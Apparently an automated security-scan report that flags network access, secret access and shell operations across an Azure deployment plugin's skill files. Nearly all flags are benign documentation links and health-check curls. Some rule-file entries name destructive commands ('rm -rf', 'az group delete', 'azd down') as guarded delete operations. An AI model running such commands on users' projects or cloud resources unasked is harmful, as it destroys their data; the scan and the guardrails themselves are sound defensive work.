    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md

  • Network accessline 61
    ⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/self-review-checklist.md

  • Network accessline 112
    Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/terraform-patterns.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 162
    Export: `resource_group_name`, `app_url` (https://${hostname}), `resource_ids` (list of all deployed resource IDs for deploy-result.json).

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/waf-checklist.md

  • Network accessline 5
    > **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1

  • Executable scriptline 1
    #!/usr/bin/env pwsh

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/SKILL.md

  • Network accessline 45
    > **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c
  • Network accessline 68
    | 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi
  • Network accessline 70
    | 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) |
  • Network accessline 72
    > **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands 
  • Network accessline 74
    > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azcli/verify.md

  • Network accessline 10
    curl -s https://<endpoint>/health | jq .
  • Network accessline 39
    # Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN"
  • Network accessline 41
    echo "https://$FQDN"
  • Network accessline 43
    # App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 45
    echo "https://$HOSTNAME"
  • Network accessline 47
    # Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 49
    echo "https://$HOSTNAME"
  • Network accessline 54
    # Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn"
  • Network accessline 56
    Write-Output "https://$Fqdn"
  • Network accessline 58
    # App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname"
  • Network accessline 60
    Write-Output "https://$Hostname"
  • Network accessline 62
    # Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname"
  • Network accessline 64
    Write-Output "https://$Hostname"
  • Network accessline 67
    > ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`.
  • Network accessline 69
    Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/ef-migrations.md

  • Network accessline 146
    - [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
  • Network accessline 148
    - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/functions-deploy.md

  • Network accessline 73
    # Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 74
    curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 76
    # Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 77
    curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 79
    # Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 80
    curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 86
    # DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 87
    curl -I "https://<func-name>.azurewebsites.net/api/<route>"

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/post-deployment.md

  • Dangerous shell operationline 38
    eval $(azd env get-values)
  • Network accessline 78
    # Health check curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 79
    curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 81
    # Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
  • Network accessline 82
    curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh

  • Executable scriptline 1
    #!/bin/bash

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh

  • Executable scriptline 1
    #!/bin/bash

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md

  • Dangerous shell operationline 16
    eval $(azd env get-values)
  • Dangerous shell operationline 83
    eval $(azd env get-values)
  • Dangerous shell operationline 171
    eval $(azd env get-values)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/azd/verify.md

  • Network accessline 14
    Resource Group: rg-myapp-dev   Services:     api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 16
    api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 25
    # Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 26
    curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 66
    | Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 68
    | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 70
    Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io
  • Network accessline 73
    > ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user.
  • Dangerous shell operationline 85
    eval $(azd env get-values)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/bicep/verify.md

  • Network accessline 18
    curl -s https://<endpoint>/health | jq .
  • Network accessline 31
    Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/cicd/verify.md

  • Network accessline 16
    curl -s https://<endpoint>/health | jq .
  • Network accessline 23
    Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/README.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/errors.md

  • Access to secretsline 10
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/recipes/terraform/verify.md

  • Network accessline 11
    curl -s https://$(terraform output -raw api_url)/health | jq .
  • Network accessline 30
    Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 65
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-deploy/references/troubleshooting.md

  • Network accessline 114
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 115
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 134
    **Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/apim.md

  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 209
    - [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview)
  • Network accessline 210
    - [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service)
  • Network accessline 211
    - [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management)
  • Network accessline 212
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/aspire.md

  • Network accessline 267
    | Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 268
    |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github.
  • Network accessline 269
    | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 270
    | AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy |
  • Network accessline 271
    | AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration |
  • Network accessline 272
    | eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app |
  • Network accessline 418
    - [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/)
  • Network accessline 419
    - [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 420
    - [Aspire Samples Repository](https://github.com/dotnet/aspire-samples)
  • Network accessline 421
    - [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/azure-context.md

  • Network accessline 121
    - Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Referen
  • Network accessline 122
    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser
  • Network accessline 123
    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/functional-verification.md

  • Network accessline 42
    │   ├── User says yes │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar
  • Network accessline 43
    │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar │   │   └── Static site? → Open in browser, verify rendering
  • Network accessline 44
    │   │   ├── API-only / no UI? → Test endpoints with curl or similar

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
  • Dangerous shell operationline 33
    - ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/plan-template.md

  • Network accessline 119
    - **If quota CLI is NOT supported** (returns `BadRequest`):      - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)
  • Network accessline 120
    - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)      - Get limit: [Azure service limits documentation](https://l
  • Network accessline 121
    - Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 141
    - **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY 
  • Network accessline 142
    - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic
  • Network accessline 143
    - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/aspire.md

  • Network accessline 68
    .NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd
  • Network accessline 106
    If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`:
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 145
    **Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version.
  • Network accessline 224
    - [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/)
  • Network accessline 225
    - [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/)
  • Network accessline 226
    - [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
  • Network accessline 227
    - [Samples](https://github.com/dotnet/aspire-samples)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/docker.md

  • Access to secretsline 99
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/iac-rules.md

  • Network accessline 50
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 51
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    > ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique
  • Network accessline 70
    - [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/terraform.md

  • Network accessline 478
    - [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 479
    - [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform)
  • Network accessline 480
    - [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 481
    - [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/bicep/patterns.md

  • Network accessline 55
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 56
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/research.md

  • Network accessline 7
    1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** 
  • Network accessline 8
    2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros
  • Network accessline 9
    3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/resources-limits-quotas.md

  • Network accessline 59
    2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 96
    | Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h
  • Network accessline 97
    |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l
  • Network accessline 98
    | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer
  • Network accessline 158
    |-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man
  • Network accessline 159
    | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription
  • Network accessline 160
    | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 210
    - **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 211
    - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation
  • Network accessline 212
    - [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/runtimes/nodejs.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 173
    # Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \   CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 174
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 175
    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 209
    if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {     if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Network accessline 210
    if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);   }
  • Network accessline 211
    return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Access to secretsline 241
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/security.md

  • Network accessline 268
    - [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview)
  • Network accessline 269
    - [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview)
  • Network accessline 270
    - [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 271
    - [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/sku-selection.md

  • Network accessline 33
    > 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures.
  • Network accessline 37
    Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv
  • Network accessline 39
    Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md

  • Network accessline 37
    enabled: true         registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 38
    registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'           clientId: appRegistration.properties.appId
  • Network accessline 39
    openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 67
    web: {     redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 68
    redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'     ]
  • Network accessline 69
    'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 94
    - [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization)
  • Network accessline 95
    - [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/)
  • Network accessline 96
    - [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md

  • Network accessline 37
    {   "AzureAd": {     "Instance": "https://login.microsoftonline.com/",
  • Network accessline 38
    "AzureAd": {     "Instance": "https://login.microsoftonline.com/",     "TenantId": "<tenant-id>",
  • Network accessline 39
    "Instance": "https://login.microsoftonline.com/",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md

  • Network accessline 19
    const client = jwksClient({   jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 20
    jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 46
    algorithms: ["RS256"],         audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
  • Network accessline 47
    audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,       },
  • Network accessline 48
    issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md

  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    # Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Network accessline 42
    algorithms=["RS256"],             audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
  • Network accessline 43
